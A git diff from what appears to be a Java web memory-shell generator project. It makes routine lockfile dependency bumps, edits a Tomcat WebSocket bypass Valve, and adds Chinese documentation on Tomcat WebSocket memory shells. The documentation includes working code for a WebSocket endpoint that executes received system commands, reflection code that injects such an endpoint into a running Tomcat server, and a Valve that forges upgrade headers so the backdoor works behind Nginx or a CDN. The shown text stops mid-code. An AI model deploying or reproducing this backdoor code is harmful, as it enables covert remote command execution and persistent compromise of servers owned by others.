diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/wsbypass/TomcatWsBypassValve.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/wsbypass/TomcatWsBypassValve.java index 94041888..8e0c3df0 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/wsbypass/TomcatWsBypassValve.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/wsbypass/TomcatWsBypassValve.java @@ -37,7 +37,6 @@ public class TomcatWsBypassValve implements Valve { throw new ServletException("Server container not found"); } addHeader(request, "Connection", "upgrade"); - addHeader(request, "Sec-WebSocket-Version", "13"); addHeader(request, "Upgrade", "websocket"); Object mappingResult = sc.getClass().getMethod("findMapping", String.class).invoke(sc, path); Class upgradeUtil = Class.forName("org.apache.tomcat.websocket.server.UpgradeUtil"); diff --git a/web/bun.lock b/web/bun.lock index 009cf73c..e9b1d23a 100644 --- a/web/bun.lock +++ b/web/bun.lock @@ -11,22 +11,22 @@ "@orama/stopwords": "^3.1.18", "@orama/tokenizers": "^3.1.18", "@react-router/node": "^7.12.0", - "@tanstack/react-query": "^5.90.16", + "@tanstack/react-query": "^5.90.17", "class-variance-authority": "^0.7.1", "clsx": "^2.1.1", - "framer-motion": "^12.26.1", + "framer-motion": "^12.26.2", "fumadocs-core": "^16.4.7", "fumadocs-mdx": "14.2.5", "fumadocs-ui": "16.4.7", "i18next": "^25.7.4", "isbot": "^5.1.32", "lucide-react": "^0.562.0", - "motion": "^12.26.1", + "motion": "^12.26.2", "react": "^19.2.3", "react-copy-to-clipboard": "^5.1.0", "react-dom": "^19.2.3", - "react-hook-form": "^7.71.0", - "react-i18next": "^16.5.2", + "react-hook-form": "^7.71.1", + "react-i18next": "^16.5.3", "react-medium-image-zoom": "^5.4.0", "react-syntax-highlighter": "^16.1.0", "sonner": "^2.0.7", @@ -39,12 +39,12 @@ "@react-router/dev": "^7.12.0", "@tailwindcss/vite": "^4.1.18", "@types/mdx": "^2.0.13", - "@types/node": "^25.0.7", + "@types/node": "^25.0.8", "@types/react": "^19.2.8", "@types/react-copy-to-clipboard": "^5.0.7", "@types/react-dom": "^19.2.3", "@types/react-syntax-highlighter": "^15.5.13", - "react-router-devtools": "^6.1.0", + "react-router-devtools": "^6.2.0", "rimraf": "^6.1.2", "serve": "^14.2.5", "tailwindcss": "^4.1.18", @@ -424,11 +424,11 @@ "@tanstack/devtools-vite": ["@tanstack/devtools-vite@0.4.1", "", { "dependencies": { "@babel/core": "^7.28.4", "@babel/generator": "^7.28.3", "@babel/parser": "^7.28.4", "@babel/traverse": "^7.28.4", "@babel/types": "^7.28.4", "@tanstack/devtools-client": "0.0.5", "@tanstack/devtools-event-bus": "0.4.0", "chalk": "^5.6.2", "launch-editor": "^2.11.1", "picomatch": "^4.0.3" }, "peerDependencies": { "vite": "^6.0.0 || ^7.0.0" } }, "sha512-PkMOomcWnl/pUkCqIjqL/csjPHtkMVBirDpJVOZR7XJZDxo5CuD7B+3KsujFCF4Dsn6QYlae97gCZvxi/CB76Q=="], - "@tanstack/query-core": ["@tanstack/query-core@5.90.16", "", {}, "sha512-MvtWckSVufs/ja463/K4PyJeqT+HMlJWtw6PrCpywznd2NSgO3m4KwO9RqbFqGg6iDE8vVMFWMeQI4Io3eEYww=="], + "@tanstack/query-core": ["@tanstack/query-core@5.90.17", "", {}, "sha512-hDww+RyyYhjhUfoYQ4es6pbgxY7LNiPWxt4l1nJqhByjndxJ7HIjDxTBtfvMr5HwjYavMrd+ids5g4Rfev3lVQ=="], "@tanstack/react-devtools": ["@tanstack/react-devtools@0.9.1", "", { "dependencies": { "@tanstack/devtools": "0.10.2" }, "peerDependencies": { "@types/react": ">=16.8", "@types/react-dom": ">=16.8", "react": ">=16.8", "react-dom": ">=16.8" } }, "sha512-ONDMs117FrzWxFD1JQ9Z94QnTx+63RuQ+9Z3ieSS9bHAWmty4PWiLddAZPvyHCbV9iljlpUEkCoKCO1HMywR2Q=="], - "@tanstack/react-query": ["@tanstack/react-query@5.90.16", "", { "dependencies": { "@tanstack/query-core": "5.90.16" }, "peerDependencies": { "react": "^18 || ^19" } }, "sha512-bpMGOmV4OPmif7TNMteU/Ehf/hoC0Kf98PDc0F4BZkFrEapRMEqI/V6YS0lyzwSV6PQpY1y4xxArUIfBW5LVxQ=="], + "@tanstack/react-query": ["@tanstack/react-query@5.90.17", "", { "dependencies": { "@tanstack/query-core": "5.90.17" }, "peerDependencies": { "react": "^18 || ^19" } }, "sha512-PGc2u9KLwohDUSchjW9MZqeDQJfJDON7y4W7REdNBgiFKxQy+Pf7eGjiFWEj5xPqKzAeHYdAb62IWI1a9UJyGQ=="], "@types/d3-hierarchy": ["@types/d3-hierarchy@1.1.11", "", {}, "sha512-lnQiU7jV+Gyk9oQYk0GGYccuexmQPTp08E0+4BidgFdiJivjEvf+esPSdZqCZ2C7UwTWejWpqetVaU8A+eX3FA=="], @@ -446,7 +446,7 @@ "@types/ms": ["@types/ms@2.1.0", "", {}, "sha512-GsCCIZDE/p3i96vtEqx+7dBUGXrc7zeSK3wwPHIaRThS+9OhWIXRqzs4d6k1SVU8g91DrNRWxWUGhp5KXQb2VA=="], - "@types/node": ["@types/node@25.0.7", "", { "dependencies": { "undici-types": "~7.16.0" } }, "sha512-C/er7DlIZgRJO7WtTdYovjIFzGsz0I95UlMyR9anTb4aCpBSRWe5Jc1/RvLKUfzmOxHPGjSE5+63HgLtndxU4w=="], + "@types/node": ["@types/node@25.0.8", "", { "dependencies": { "undici-types": "~7.16.0" } }, "sha512-powIePYMmC3ibL0UJ2i2s0WIbq6cg6UyVFQxSCpaPxxzAaziRfimGivjdF943sSGV6RADVbk0Nvlm5P/FB44Zg=="], "@types/parse-json": ["@types/parse-json@4.0.2", "", {}, "sha512-dISoDXWWQwUquiKsyZ4Ng+HX2KsPL7LyHKHQwgGFEA3IaKac4Obd+h2a/a6waisAoepJlBcx9paWqjA8/HVjCw=="], @@ -674,7 +674,7 @@ "format": ["format@0.2.2", "", {}, "sha512-wzsgA6WOq+09wrU1tsJ09udeR/YZRaeArL9e1wPbFg3GG2yDnC2ldKpxs4xunpFF9DgqCqOIra3bc1HWrJ37Ww=="], - "framer-motion": ["framer-motion@12.26.1", "", { "dependencies": { "motion-dom": "^12.24.11", "motion-utils": "^12.24.10", "tslib": "^2.4.0" }, "peerDependencies": { "@emotion/is-prop-valid": "*", "react": "^18.0.0 || ^19.0.0", "react-dom": "^18.0.0 || ^19.0.0" }, "optionalPeers": ["@emotion/is-prop-valid", "react", "react-dom"] }, "sha512-Uzc8wGldU4FpmGotthjjcj0SZhigcODjqvKT7lzVZHsmYkzQMFfMIv0vHQoXCeoe/Ahxqp4by4A6QbzFA/lblw=="], + "framer-motion": ["framer-motion@12.26.2", "", { "dependencies": { "motion-dom": "^12.26.2", "motion-utils": "^12.24.10", "tslib": "^2.4.0" }, "peerDependencies": { "@emotion/is-prop-valid": "*", "react": "^18.0.0 || ^19.0.0", "react-dom": "^18.0.0 || ^19.0.0" }, "optionalPeers": ["@emotion/is-prop-valid", "react", "react-dom"] }, "sha512-lflOQEdjquUi9sCg5Y1LrsZDlsjrHw7m0T9Yedvnk7Bnhqfkc89/Uha10J3CFhkL+TCZVCRw9eUGyM/lyYhXQA=="], "fsevents": ["fsevents@2.3.3", "", { "os": "darwin" }, "sha512-5xoDfX+fL7faATnagmWPpbFtwh/R77WmMMqqHGS65C3vvB0YHrgF+B1YmZ3441tMj5n63k0212XNoJwzlhffQw=="], @@ -944,9 +944,9 @@ "minipass": ["minipass@7.1.2", "", {}, "sha512-qOOzS1cBTWYF4BH8fVePDBOO9iptMnGUEZwNc/cMWnTV2nVLZ7VoNWEPHkYczZA0pdoA7dl6e7FL659nX9S2aw=="], - "motion": ["motion@12.26.1", "", { "dependencies": { "framer-motion": "^12.26.1", "tslib": "^2.4.0" }, "peerDependencies": { "@emotion/is-prop-valid": "*", "react": "^18.0.0 || ^19.0.0", "react-dom": "^18.0.0 || ^19.0.0" }, "optionalPeers": ["@emotion/is-prop-valid", "react", "react-dom"] }, "sha512-IVhzx9HOQTiJ9ykthMOlZPnLwrkXziN5Q/yebsqBYlFJb2rHP8yhmKc8O/YUT9byPJlxOeqkzfNYCrVKZx8vqg=="], + "motion": ["motion@12.26.2", "", { "dependencies": { "framer-motion": "^12.26.2", "tslib": "^2.4.0" }, "peerDependencies": { "@emotion/is-prop-valid": "*", "react": "^18.0.0 || ^19.0.0", "react-dom": "^18.0.0 || ^19.0.0" }, "optionalPeers": ["@emotion/is-prop-valid", "react", "react-dom"] }, "sha512-2Q6g0zK1gUJKhGT742DAe42LgietcdiJ3L3OcYAHCQaC1UkLnn6aC8S/obe4CxYTLAgid2asS1QdQ/blYfo5dw=="], - "motion-dom": ["motion-dom@12.24.11", "", { "dependencies": { "motion-utils": "^12.24.10" } }, "sha512-DlWOmsXMJrV8lzZyd+LKjG2CXULUs++bkq8GZ2Sr0R0RRhs30K2wtY+LKiTjhmJU3W61HK+rB0GLz6XmPvTA1A=="], + "motion-dom": ["motion-dom@12.26.2", "", { "dependencies": { "motion-utils": "^12.24.10" } }, "sha512-KLMT1BroY8oKNeliA3JMNJ+nbCIsTKg6hJpDb4jtRAJ7nCKnnpg/LTq/NGqG90Limitz3kdAnAVXecdFVGlWTw=="], "motion-utils": ["motion-utils@12.24.10", "", {}, "sha512-x5TFgkCIP4pPsRLpKoI86jv/q8t8FQOiM/0E8QKBzfMozWHfkKap2gA1hOki+B5g3IsBNpxbUnfOum1+dgvYww=="], @@ -1032,11 +1032,11 @@ "react-dom": ["react-dom@19.2.3", "", { "dependencies": { "scheduler": "^0.27.0" }, "peerDependencies": { "react": "^19.2.3" } }, "sha512-yELu4WmLPw5Mr/lmeEpox5rw3RETacE++JgHqQzd2dg+YbJuat3jH4ingc+WPZhxaoFzdv9y33G+F7Nl5O0GBg=="], - "react-hook-form": ["react-hook-form@7.71.0", "", { "peerDependencies": { "react": "^16.8.0 || ^17 || ^18 || ^19" } }, "sha512-oFDt/iIFMV9ZfV52waONXzg4xuSlbwKUPvXVH2jumL1me5qFhBMc4knZxuXiZ2+j6h546sYe3ZKJcg/900/iHw=="], + "react-hook-form": ["react-hook-form@7.71.1", "", { "peerDependencies": { "react": "^16.8.0 || ^17 || ^18 || ^19" } }, "sha512-9SUJKCGKo8HUSsCO+y0CtqkqI5nNuaDqTxyqPsZPqIwudpj4rCrAz/jZV+jn57bx5gtZKOh3neQu94DXMc+w5w=="], "react-hotkeys-hook": ["react-hotkeys-hook@5.2.1", "", { "peerDependencies": { "react": ">=16.8.0", "react-dom": ">=16.8.0" } }, "sha512-xbKh6zJxd/vJHT4Bw4+0pBD662Fk20V+VFhLqciCg+manTVO4qlqRqiwFOYelfHN9dBvWj9vxaPkSS26ZSIJGg=="], - "react-i18next": ["react-i18next@16.5.2", "", { "dependencies": { "@babel/runtime": "^7.28.4", "html-parse-stringify": "^3.0.1", "use-sync-external-store": "^1.6.0" }, "peerDependencies": { "i18next": ">= 25.6.2", "react": ">= 16.8.0", "typescript": "^5" }, "optionalPeers": ["typescript"] }, "sha512-GG/SBVxx9dvrO1uCs8VYdKfOP8NEBUhNP+2VDQLCifRJ8DL1qPq296k2ACNGyZMDe7iyIlz/LMJTQOs8HXSRvw=="], + "react-i18next": ["react-i18next@16.5.3", "", { "dependencies": { "@babel/runtime": "^7.28.4", "html-parse-stringify": "^3.0.1", "use-sync-external-store": "^1.6.0" }, "peerDependencies": { "i18next": ">= 25.6.2", "react": ">= 16.8.0", "typescript": "^5" }, "optionalPeers": ["typescript"] }, "sha512-fo+/NNch37zqxOzlBYrWMx0uy/yInPkRfjSuy4lqKdaecR17nvCHnEUt3QyzA8XjQ2B/0iW/5BhaHR3ZmukpGw=="], "react-is": ["react-is@16.13.1", "", {}, "sha512-24e6ynE2H+OKt4kqsOvNd8kBpV65zoxbA4BVsEOB3ARVWQki/DHzaUoC5KuON/BiccDaCCTZBuOcfZs70kR8bQ=="], @@ -1052,7 +1052,7 @@ "react-router": ["react-router@7.10.0", "", { "dependencies": { "cookie": "^1.0.1", "set-cookie-parser": "^2.6.0" }, "peerDependencies": { "react": ">=18", "react-dom": ">=18" }, "optionalPeers": ["react-dom"] }, "sha512-FVyCOH4IZ0eDDRycODfUqoN8ZSR2LbTvtx6RPsBgzvJ8xAXlMZNCrOFpu+jb8QbtZnpAd/cEki2pwE848pNGxw=="], - "react-router-devtools": ["react-router-devtools@6.1.0", "", { "dependencies": { "@babel/core": "^7.28.5", "@babel/generator": "^7.28.5", "@babel/parser": "^7.28.5", "@babel/traverse": "^7.28.5", "@babel/types": "^7.28.5", "@radix-ui/react-accordion": "^1.2.12", "@tanstack/devtools-event-client": "^0.4.0", "@tanstack/devtools-vite": "^0.4.1", "@tanstack/react-devtools": "^0.9.1", "chalk": "5.6.2", "clsx": "2.1.1", "framer-motion": "^12.23.24", "goober": "^2.1.18", "react-d3-tree": "^3.6.6", "react-hotkeys-hook": "^5.2.1", "react-tooltip": "^5.30.0" }, "optionalDependencies": { "@biomejs/cli-darwin-arm64": "^2.3.5", "@rollup/rollup-darwin-arm64": "^4.53.2", "@rollup/rollup-linux-x64-gnu": "^4.53.2" }, "peerDependencies": { "@types/react": ">=17", "@types/react-dom": ">=17", "react": ">=17", "react-dom": ">=17", "react-router": ">=7.0.0", "vite": ">=5.0.0 || >=6.0.0" } }, "sha512-8roDJlN4pf+5K1d9H6kAc/GkeKJlPjFvGHPgu7YoBPS0+1r8WTP12SHFF6kB43o1fiYiFKx9uStCi/amHAFs/w=="], + "react-router-devtools": ["react-router-devtools@6.2.0", "", { "dependencies": { "@babel/core": "^7.28.5", "@babel/generator": "^7.28.5", "@babel/parser": "^7.28.5", "@babel/traverse": "^7.28.5", "@babel/types": "^7.28.5", "@radix-ui/react-accordion": "^1.2.12", "@tanstack/devtools-client": "^0.0.5", "@tanstack/devtools-event-client": "^0.4.0", "@tanstack/devtools-vite": "^0.4.1", "@tanstack/react-devtools": "^0.9.1", "chalk": "5.6.2", "clsx": "2.1.1", "framer-motion": "^12.23.24", "goober": "^2.1.18", "react-d3-tree": "^3.6.6", "react-hotkeys-hook": "^5.2.1", "react-tooltip": "^5.30.0" }, "optionalDependencies": { "@biomejs/cli-darwin-arm64": "^2.3.5", "@rollup/rollup-darwin-arm64": "^4.53.2", "@rollup/rollup-linux-x64-gnu": "^4.53.2" }, "peerDependencies": { "@types/react": ">=17", "@types/react-dom": ">=17", "react": ">=17", "react-dom": ">=17", "react-router": ">=7.0.0", "vite": ">=5.0.0 || >=6.0.0" } }, "sha512-YzaFAyKZEtTmWzBF/moKuMtEa8Hd/xhTtUCKarrhAbZMyR8S0OpCpN0pyKrNGNz7ueOc4jvvKdE9S6Q3UTotDg=="], "react-style-singleton": ["react-style-singleton@2.2.3", "", { "dependencies": { "get-nonce": "^1.0.0", "tslib": "^2.0.0" }, "peerDependencies": { "@types/react": "*", "react": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-b6jSvxvVnyptAiLjbkWLE/lOnR4lfTtDAl+eUC7RZy+QQWc6wRzIV2CE6xBuMmDxc2qIihtDCZD5NPOFl7fRBQ=="], @@ -1320,10 +1320,6 @@ "react-d3-tree/uuid": ["uuid@8.3.2", "", { "bin": { "uuid": "dist/bin/uuid" } }, "sha512-+NYs2QeMWy+GWFOEm9xnn6HCDp0l7QBD7ml8zLUmJ+93Q5NF0NocErnwkTkXVFNiX3/fpC6afS8Dhb/gz7R7eg=="], - "react-router-devtools/@biomejs/cli-darwin-arm64": ["@biomejs/cli-darwin-arm64@2.3.10", "", { "os": "darwin", "cpu": "arm64" }, "sha512-M6xUjtCVnNGFfK7HMNKa593nb7fwNm43fq1Mt71kpLpb+4mE7odO8W/oWVDyBVO4ackhresy1ZYO7OJcVo/B7w=="], - - "react-router-devtools/framer-motion": ["framer-motion@12.24.10", "", { "dependencies": { "motion-dom": "^12.24.10", "motion-utils": "^12.24.10", "tslib": "^2.4.0" }, "peerDependencies": { "@emotion/is-prop-valid": "*", "react": "^18.0.0 || ^19.0.0", "react-dom": "^18.0.0 || ^19.0.0" }, "optionalPeers": ["@emotion/is-prop-valid", "react", "react-dom"] }, "sha512-8yoyMkCn2RmV9UB9mfmMuzKyenQe909hRQRl0yGBhbZJjZZ9bSU87NIGAruqCXCuTNCA0qHw2LWLrcXLL9GF6A=="], - "serve/chalk": ["chalk@5.0.1", "", {}, "sha512-Fo07WOYGqMfCWHOzSXOt2CxDbC6skS/jO9ynEcmpANMoPrD+W1r1K6Vx7iNm+AQmETU1Xr2t+n8nzkV9t6xh3w=="], "serve-handler/bytes": ["bytes@3.0.0", "", {}, "sha512-pMhOfFDPiv9t5jjIXkHosWmkSyQbvsgEVNkz0ERHbuLh2T/7j4Mqqpz523Fe8MVY89KC6Sh/QfS2sM+SjgFDcw=="], @@ -1346,8 +1342,6 @@ "fumadocs-mdx/chokidar/readdirp": ["readdirp@5.0.0", "", {}, "sha512-9u/XQ1pvrQtYyMpZe7DXKv2p5CNvyVwzUB6uhLAnQwHMSgKMBR62lc7AHljaeteeHXn11XTAaLLUVZYVZyuRBQ=="], - "react-router-devtools/framer-motion/motion-dom": ["motion-dom@12.24.10", "", { "dependencies": { "motion-utils": "^12.24.10" } }, "sha512-H3HStYaJ6wANoZVNT0ZmYZHGvrpvi9pKJRzsgNEHkdITR4Qd9FFu2e9sH4e2Phr4tKCmyyloex6SOSmv0Tlq+g=="], - "vite-node/vite/esbuild": ["esbuild@0.25.12", "", { "optionalDependencies": { "@esbuild/aix-ppc64": "0.25.12", "@esbuild/android-arm": "0.25.12", "@esbuild/android-arm64": "0.25.12", "@esbuild/android-x64": "0.25.12", "@esbuild/darwin-arm64": "0.25.12", "@esbuild/darwin-x64": "0.25.12", "@esbuild/freebsd-arm64": "0.25.12", "@esbuild/freebsd-x64": "0.25.12", "@esbuild/linux-arm": "0.25.12", "@esbuild/linux-arm64": "0.25.12", "@esbuild/linux-ia32": "0.25.12", "@esbuild/linux-loong64": "0.25.12", "@esbuild/linux-mips64el": "0.25.12", "@esbuild/linux-ppc64": "0.25.12", "@esbuild/linux-riscv64": "0.25.12", "@esbuild/linux-s390x": "0.25.12", "@esbuild/linux-x64": "0.25.12", "@esbuild/netbsd-arm64": "0.25.12", "@esbuild/netbsd-x64": "0.25.12", "@esbuild/openbsd-arm64": "0.25.12", "@esbuild/openbsd-x64": "0.25.12", "@esbuild/openharmony-arm64": "0.25.12", "@esbuild/sunos-x64": "0.25.12", "@esbuild/win32-arm64": "0.25.12", "@esbuild/win32-ia32": "0.25.12", "@esbuild/win32-x64": "0.25.12" }, "bin": { "esbuild": "bin/esbuild" } }, "sha512-bbPBYYrtZbkt6Os6FiTLCTFxvq4tt3JKall1vRwshA3fdVztsLAatFaZobhkBC8/BrPetoa0oksYoKXoG4ryJg=="], "ansi-align/string-width/strip-ansi/ansi-regex": ["ansi-regex@5.0.1", "", {}, "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ=="], diff --git a/web/content/docs/images/command_bypass_ws.png b/web/content/docs/images/command_bypass_ws.png new file mode 100644 index 00000000..b604e1c5 Binary files /dev/null and b/web/content/docs/images/command_bypass_ws.png differ diff --git a/web/content/docs/images/command_ws.png b/web/content/docs/images/command_ws.png new file mode 100644 index 00000000..9f8952f2 Binary files /dev/null and b/web/content/docs/images/command_ws.png differ diff --git a/web/content/docs/middleware/meta.json b/web/content/docs/middleware/meta.json index 155cb960..a52f341f 100644 --- a/web/content/docs/middleware/meta.json +++ b/web/content/docs/middleware/meta.json @@ -1,4 +1,4 @@ { "title": "中间件内存马", - "pages": ["tomcat", "jetty"] + "pages": ["tomcat-valve", "tomcat-websocket", "jetty"] } diff --git a/web/content/docs/middleware/tomcat-valve.mdx b/web/content/docs/middleware/tomcat-valve.mdx new file mode 100644 index 00000000..2e5f7db2 --- /dev/null +++ b/web/content/docs/middleware/tomcat-valve.mdx @@ -0,0 +1,7 @@ +--- +title: Tomcat Valve +--- + +## Valve 内存马 + +## ProxyValve 内存马 \ No newline at end of file diff --git a/web/content/docs/middleware/tomcat-websocket.mdx b/web/content/docs/middleware/tomcat-websocket.mdx new file mode 100644 index 00000000..becde8f9 --- /dev/null +++ b/web/content/docs/middleware/tomcat-websocket.mdx @@ -0,0 +1,371 @@ +--- +title: Tomcat WebSocket +--- + +## 关于 WebSocket + +WebSocket 是一种网络技术,可通过单个 TCP 套接字连接在客户端和服务器之间即时传送双向、全双工信息。它被广泛用于实时应用程序,如聊天应用程序、在线游戏和实时数据流。 + +Java WebSocket 1.0(JSR 356)是 Java EE 7 的一部分,定义了用于在 Java 平台上创建 WebSocket 应用程序的 API。Tomcat 从版本 7.0.27 开始支持 Java WebSocket API。 + +## 定义 Endpoint + +JSR 356 定义了两种方式来声明 Endpoint:注解式和接口式。注解式使用注解(如 @ServerEndpoint),而接口式通过实现 Endpoint 类。而注入内存马的场景主要是用于动态添加,因此仅介绍接口式。 + +```java +import javax.websocket.Endpoint; +import javax.websocket.EndpointConfig; +import javax.websocket.MessageHandler; +import javax.websocket.Session; +import javax.websocket.CloseReason; +import java.io.IOException; + +public class ExampleEndpoint extends Endpoint { + + @Override + public void onOpen(final Session session, EndpointConfig config) { + System.out.println("连接已打开:" + session.getId()); + session.addMessageHandler(new MessageHandler.Whole() { + @Override + public void onMessage(String message) { + System.out.println("收到消息:" + message); + try { + session.getBasicRemote().sendText("Echo: " + message); + } catch (IOException e) { + e.printStackTrace(); + } + } + }); + } + + @Override + public void onClose(Session session, CloseReason closeReason) { + System.out.println("连接关闭:" + session.getId()); + } + + @Override + public void onError(Session session, Throwable thr) { + System.out.println("发生错误:" + thr.getMessage()); + } +} +``` + +接口继承 javax.websocket.Endpoint,在 onOpen 的时候注册消息处理器。 + +在内存马场景下,可以在 onMessage 方法中添加恶意逻辑,例如执行系统命令或加载其他恶意代码,以下是命令回显 WebSocket Endpoint 示例: + +```java +import javax.websocket.Endpoint; +import javax.websocket.EndpointConfig; +import javax.websocket.MessageHandler; +import javax.websocket.Session; +import java.io.InputStream; +import java.util.Scanner; + +public class CommandWebSocket extends Endpoint implements MessageHandler.Whole { + + private Session session; + + @Override + public void onMessage(String cmd) { + try { + InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream(); + session.getBasicRemote().sendText(new Scanner(inputStream).useDelimiter("\\A").next()); + } catch (Throwable e) { + e.printStackTrace(); + } + } + + @Override + public void onOpen(final Session session, EndpointConfig config) { + this.session = session; + session.addMessageHandler(this); + } +} +``` + +## 注册 Endpoint + +通过继承 javax.websocket.server.ServerApplicationConfig 实现动态注册 Endpoint: + +```java +import javax.websocket.Endpoint; +import javax.websocket.server.ServerApplicationConfig; +import javax.websocket.server.ServerEndpointConfig; +import java.util.HashSet; +import java.util.Set; + +public class WebSocketConfig implements ServerApplicationConfig { + @Override + public Set getEndpointConfigs(Set> scannedEndpointClasses) { + Set result = new HashSet<>(); + ServerEndpointConfig config = ServerEndpointConfig.Builder + .create(ExampleEndpoint.class, "/api/ws") + .build(); + + result.add(config); + + return result; + } + + @Override + public Set> getAnnotatedEndpointClasses(Set> scanned) { + return scanned; + } +} +``` + +在 Tomcat 中 org.apache.tomcat.websocket.server.WsSci 会扫描并注册实现了 ServerApplicationConfig 的类,从而动态添加 WebSocket Endpoint。 + +```java +@HandlesTypes({ServerEndpoint.class, ServerApplicationConfig.class, + Endpoint.class}) +public class WsSci implements ServletContainerInitializer { + @Override + public void onStartup(Set> clazzes, ServletContext ctx) + throws ServletException { + WsServerContainer sc = init(ctx, true); + // 扫描继承的 ServerApplicationConfig 类,并调用其 getEndpointConfigs 方法 + Set filteredEndpointConfigs = ...; + try { + for (ServerEndpointConfig config : filteredEndpointConfigs) { + sc.addEndpoint(config); + } + // ... + } catch (DeploymentException e) { + throw new ServletException(e); + } + } + + static WsServerContainer init(ServletContext servletContext, boolean initBySciMechanism) { + WsServerContainer sc = new WsServerContainer(servletContext); + servletContext.setAttribute("javax.websocket.server.ServerContainer", sc); + // ... + return sc; + } +} +``` + +代码中有两个关键的地方: +1. init 方法中,注册的 WsServerContainer 对象会被放入 ServletContext 中,key 为 "javax.websocket.server.ServerContainer",高版本为 "jakarta.websocket.server.ServerContainer"。 +2. 调用 WsServerContainer 的 addEndpoint 方法注册 Endpoint。 + +因此,我们可以通过 ServletContext 获取 WsServerContainer 对象,初始化 Endpoint 并且构建 ServerEndpointConfig 最后调用 addEndpoint 方法注册我们的恶意 Endpoint。 + +```java +private void inject(Object context, Object obj) throws Exception { + Object servletContext = invokeMethod(context, "getServletContext", null, null); + Object container = invokeMethod(servletContext, "getAttribute", new Class[]{String.class}, new Object[]{"javax.websocket.server.ServerContainer"}); + if (container == null) { + container = invokeMethod(servletContext, "getAttribute", new Class[]{String.class}, new Object[]{"jakarta.websocket.server.ServerContainer"}); + } + + if (container == null) { + throw new RuntimeException("container is null"); + } + + if (invokeMethod(container, "findMapping", new Class[]{String.class}, new Object[]{getUrlPattern()}) != null) { + return; + } + + ClassLoader contextClassLoader = context.getClass().getClassLoader(); + Class serverEndpointConfigClass; + Class builderClass; + try { + serverEndpointConfigClass = contextClassLoader.loadClass("javax.websocket.server.ServerEndpointConfig"); + builderClass = contextClassLoader.loadClass("javax.websocket.server.ServerEndpointConfig$Builder"); + } catch (ClassNotFoundException e) { + serverEndpointConfigClass = contextClassLoader.loadClass("jakarta.websocket.server.ServerEndpointConfig"); + builderClass = contextClassLoader.loadClass("jakarta.websocket.server.ServerEndpointConfig$Builder"); + } + Constructor constructor = builderClass.getDeclaredConstructor(Class.class, String.class); + constructor.setAccessible(true); + Object o1 = constructor.newInstance(obj.getClass(), getUrlPattern()); + Object endpointConfig = invokeMethod(o1, "build", null, null); + + invokeMethod(container, "setDefaultMaxTextMessageBufferSize", new Class[]{int.class}, new Object[]{52428800}); + invokeMethod(container, "setDefaultMaxBinaryMessageBufferSize", new Class[]{int.class}, new Object[]{52428800}); + invokeMethod(container, "addEndpoint", new Class[]{serverEndpointConfigClass}, new Object[]{endpointConfig}); +} +``` + +## 绕过 Nginx 或 CDN 限制 + +由于在 Tomcat 中实现 WebSocket 使用的是 Upgrade 协议,因此需要 `Upgrade: websocket` 和 `Connection: upgrade` 来将请求转为 WebSocket 连接,Nginx 或 CDN 默认情况下根本不会转发这些头部,甚至会设置 `Connection: close` 导致无法连接到 WebSocket 内存马。以下是尝试在 Nginx 的情况下连接 WebSocket 所能拿到的请求头部: + +```txt +host = 127.0.0.1 +x-real-ip = 192.168.97.1 +x-forwarded-for = 192.168.97.1 +x-forwarded-proto = http +connection = close +sec-websocket-version = 13 +sec-websocket-key = 4yY8pZQPUv6RlRoPgh7SaA== +sec-websocket-extensions = permessage-deflate; client_max_window_bits +``` + +实现细节的话,不知道大家有没有注意到 Tomcat 中总是默认注册个 Filter 叫作 `org.apache.tomcat.websocket.server.WsFilter`,其实这个就是用于将 HTTP 请求升级为 WebSocket 协议的 Filter。 + +首先会在 `UpgradeUtil.isWebSocketUpgradeRequest` 判断请求头里面有没有 `Upgrade: websocket` 以及是不是 GET 请求。 +其次在 `UpgradeUtil.doUpgrade` 方法中会检查 `Connection: upgrade` 以及 `Sec-WebSocket-Version: 13`,如果没有这些头部就会直接返回 400 或 426 错误码。 + +```java +public class WsFilter implements Filter { + private WsServerContainer sc; + + public void init(FilterConfig filterConfig) throws ServletException { + this.sc = (WsServerContainer)filterConfig.getServletContext().getAttribute("javax.websocket.server.ServerContainer"); + } + + public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { + if (this.sc.areEndpointsRegistered() + && UpgradeUtil.isWebSocketUpgradeRequest(request, response)) { + HttpServletRequest req = (HttpServletRequest)request; + HttpServletResponse resp = (HttpServletResponse)response; + String pathInfo = ...; // 获取请求路径 + WsMappingResult mappingResult = this.sc.findMapping(path); + if (mappingResult != null) { + UpgradeUtil.doUpgrade(this.sc, req, resp, mappingResult.getConfig(), mappingResult.getPathParams()); + } + } + chain.doFilter(request, response); + } +} +``` + +```java +public class UpgradeUtil { + + public static boolean isWebSocketUpgradeRequest(ServletRequest request, ServletResponse response) { + return request instanceof HttpServletRequest + && response instanceof HttpServletResponse + && headerContainsToken((HttpServletRequest)request, "Upgrade", "websocket") + && "GET".equals(((HttpServletRequest)request).getMethod()); + } + + public static void doUpgrade(WsServerContainer sc, HttpServletRequest req, HttpServletResponse resp, ServerEndpointConfig sec, Map pathParams) throws ServletException, IOException { + String subProtocol = null; + if (!headerContainsToken(req, "Connection", "upgrade")) { + resp.sendError(400); + } else if (!headerContainsToken(req, "Sec-WebSocket-Version", "13")) { + resp.setStatus(426); + resp.setHeader("Sec-WebSocket-Version", "13"); + } + // ... + } +} +``` + +结合上面透过 Nginx Tomcat 拿到的请求头,我们缺失的就是 `Upgrade: websocket` 和 `Connection: upgrade` 这两个请求头,使得请求根本没进入 WsFilter 的逻辑导致连接失败。所以我们需要伪造一个类似 WsFilter 的组件并且处理缺失的请求头,我根据 Filter 和 Valve 的注入的代码量,选择了更轻量化的 Valve 组件: + +```java +public class TomcatWsBypassValve implements Valve { + public static String headerName; + public static String headerValue; + + @Override + public void invoke(Request request, Response response) throws IOException, ServletException { + try { + // 因为 Valve 所有请求都会经过,所以需要判断特定流量来防止对业务产生过大的影响 + if (request.getHeader(headerName) != null + && request.getHeader(headerName).contains(headerValue)) { + String pathInfo = request.getPathInfo(); + String path; + if (pathInfo == null) { + path = request.getServletPath(); + 